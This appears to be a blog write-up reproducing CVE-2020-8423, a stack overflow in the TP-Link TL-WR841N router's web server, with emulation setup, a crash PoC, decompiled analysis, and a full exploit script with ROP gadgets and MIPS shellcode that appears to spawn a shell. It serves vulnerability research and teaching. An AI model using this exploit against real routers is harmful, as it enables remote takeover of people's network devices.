TPlink-CVE-2020-8423复现

TP-Link_WR841N(CVE-2020-8423)复现

漏洞描述

受影响设备型号:TP-Link TL-WR841N V10
漏洞成因:httpd程序在通过GET请求设置WiFi网络时存在了栈溢出漏洞

环境配置

固件对应的架构为mips32-big,这里使用qemu模拟
binwalk安装(固件提取)

1
apt install binwalk

qemu安装

1
2
apt-get install qemu qemu-user qemu-user-static
apt-get install uml-utilities bridge-utils

然后安装mips所需软件包

1
2
3
4
5
6
7
#big
apt-get install emdebian-archive-keyring
apt-get install linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu gcc-mips-linux-gnu g++-mips-linux-gnu

#little
apt-get install emdebian-archive-keyring
apt-get install linux-libc-dev-mipsel-cross libc6-mipsel-cross libc6-dev-mipsel-cross binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu g++-mipsel-linux-gnu

安装gdb-multiarch跨平台调试

1
apt-get install gdb-multiarch

下载用于模拟的镜像与内核

1
2
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta

网络配置等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
apt-get install bridge-utils uml-utilities
tunctl -t tap0
ifconfig tap0 192.168.0.2/24 up

sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

#登陆的账号密码为root/root
ifconfig eth0 192.168.0.1/24 up #在qemu里设置

binwalk -Me 'wr841nv10_wr841ndv10_en_3_16_9_up_boot(150310).bin' #提取固件
scp -r ./squashfs-root root@192.168.0.1:~/ #将固件传到qemu上

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
chroot squashfs-root sh #启动shell

上一步启动shell之后就可以执行/usr/bin/httpd,但此时无法成功启动,如图
avatar
原因是httpd文件中存在阻塞函数,为了保证环境的正常运行,需要hook掉system以及fork
hook.c如下

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

int system(const char *command){
printf("HOOK:system(\"%s\")",command);
return 1337;
}
int fork(void){
return 1337;
}

编译生成hook(本机)

1
2
3
mips-linux-gnu-gcc -shared -fPIC hook.c -o hook
cp hook ./squashfs-root/
scp -r ./squashfs-root root@192.168.0.1:~/

修改libc链接

1
2
3
4
cd /lib
#path: /squashfs-root/lib
ln -s ld-uClibc-0.9.30.so ld.so.1
ln -s ld-uClibc-0.9.30.so libc.so.6

启动

1
LD_PRELOAD="/hook" /usr/bin/httpd

如图
avatar
然后将浏览器代理设置为系统代理就可以正常访问了(需要注意tap0是否被设置为192.168.0.2否则firefox无法打开登录界面)
如图
avatar

qemu中gdbserver attach httpd

1
2
pstree -p
./gdbserver.mipsbe 0.0.0.0:1234 --attach 2452

本地使用remote连接(使用pwndbg/gef可以适配mips,peda没有寄存器等信息)

1
2
3
4
5
6
7
gdb-multiarch
set arch mips
set endian big
target remote 192.168.0.1:1234
#handle SIGPIPE nostop noprint pass
file target:/root/squashfs-root/usr/bin/httpd
set sysroot target:/root/squashfs-root

漏洞验证及利用

获取登陆的cookie和path
avatar
使用poc测试漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#python3
import requests
import urllib
session = requests.Session()
session.verify = False
def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))
}
payload = 'a'*0x8+"/%0A"*0x100
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.request.unquote(payload)
}
url="http://192.168.0.1:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("GXBUNDCBTDNVVFMA","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

如图
avatar
此时程序终止,并且可以看到”%0A”被替换成<br>
关闭虚拟化

1
sh -c "echo '0' > /proc/sys/kernel/randomize_va_space"

由于是mips架构,默认不开启NX,可以直接在堆栈上构造shellcode,因为mips
存在cache incoherency需要使用sleep同步指令cache和数据cache
libc_base可以使用cat /proc/${pid}/maps或者vmmap得到
在构造shellcode时,需要绕过stringModify的转义,将含有’<’,’>’,”‘,’//‘,’'的指令替换即可,并且需要注意\x00截断
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#python2
from pwn import *
import requests
import socket
import socks
import urllib
import struct

default_socket = socket.socket
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
context.endian = 'big'

libc_base = 0x77f0a000
sleep = 0x53CA0
g1 = 0x000E204 #修改$a0,对应sleep的参数
g2 = 0x00037470 #调用sleep并跳转到下一个gadget
g3 = 0x0000E904 #将shellcode地址写入$a1
g4 = 0x00374D8 #跳转到shellcode
shellcode = "\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff"
shellcode += "\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff"
shellcode += "\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4"
shellcode += "\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd"
shellcode += "\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef"
shellcode += "\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff"
shellcode += "\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff"
shellcode += "\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27"
shellcode += "\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2"
shellcode += "\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff"
shellcode += "\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
payload = "/%0A"*0x56 + 4*'x' + p32(0x11111111) + p32(g2+libc_base) + p32(sleep+libc_base)
payload += p32(g1+libc_base)
payload += 'x'*28
payload += p32(g4+libc_base)
payload += p32(0x33333333)
payload += p32(g3+libc_base)
payload += 'x'*24
payload += shellcode

def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))
}
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.unquote(payload)#urllib.request.unquote(payload)
}
url="http://192.168.0.1:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("TLWNEQPARWKPAYJA","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

漏洞分析

在前面使用poc测试时,通过pagePara向上分析程序流程,ida中搜索pagePara如图
avatar
pageParaSet函数为初始化函数,并且其中无法发生溢出,因此来到
writePageParamSet函数
avatar
进入stringModify

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
int __fastcall stringModify(_BYTE *result_char, int max_len, char * init_char)
{
bool v3; // dc
char *init_char_tmp; // $a2
int v5; // $a3 v5表示字符转换次数
int v6; // $v0
int v7; // $v1

if ( !result_char || !init_char )
return -1;//空指针退出

init_char_tmp = (char *)(init_char + 1);

v5 = 0;
while ( 1 )
{
v7 = *(init_char_tmp - 1);
if ( !*(init_char_tmp - 1) || v5 >= 0x200 )
break;
if ( v7 == '/' )
goto LABEL_18;
if ( v7 >= '0' )
{
if ( v7 == '>' || v7 == '\\' )
{
LABEL_18:
*result_char = '\\';
LABEL_19:
++v5;
++result_char;
}
else if ( v7 == '<' )
{
*result_char = '\\';
goto LABEL_19;
}
LABEL_20:
++v5;
*result_char++ = *(init_char_tmp - 1);
goto LABEL_21;
}
if ( v7 != '\r' )
{
if ( v7 == '"' )
goto LABEL_18;
if ( v7 != '\n' )
goto LABEL_20;
}
v6 = *init_char_tmp;
if ( v6 != '\r' && v6 != '\n' )//将前一个为 \r 或 \n 后一个不是 \r 或 \n 的字符串转换为<br>
{
result_char[0] = '<';
result_char[1] = 'b';
result_char[2] = 'r';
result_char[3] = '>';
result_char += 4;
}
++v5;
LABEL_21:
++init_char_tmp;
}
*result_char = 0;
return v5;
}

stringModify的作用为:
1.对’\‘,’/‘,’<’,’>’,’”‘转义
2.将单独的’\r’和’\n’变为<br>
这个函数的主要漏洞在于将第二个作用,可以栈溢出(result_char最大长度为0x200可以溢出,这里函数为非叶子函数,ra入栈可以劫持),于是继续往上查找调用writePageParamSet的函数(可以通过字符索引等),最后找到sub_455E48,如图
avatar
其中v354部分对应的就是ssid,关于ssid的部分逻辑,首先从环境变量中获取ssid然后将ssid传递给v135,并复制到v354,如下
avatar

参考文章

https://nvd.nist.gov/vuln/detail/CVE-2020-8423
https://www.anquanke.com/post/id/203486
https://www.mrskye.cn/archives/e77640bd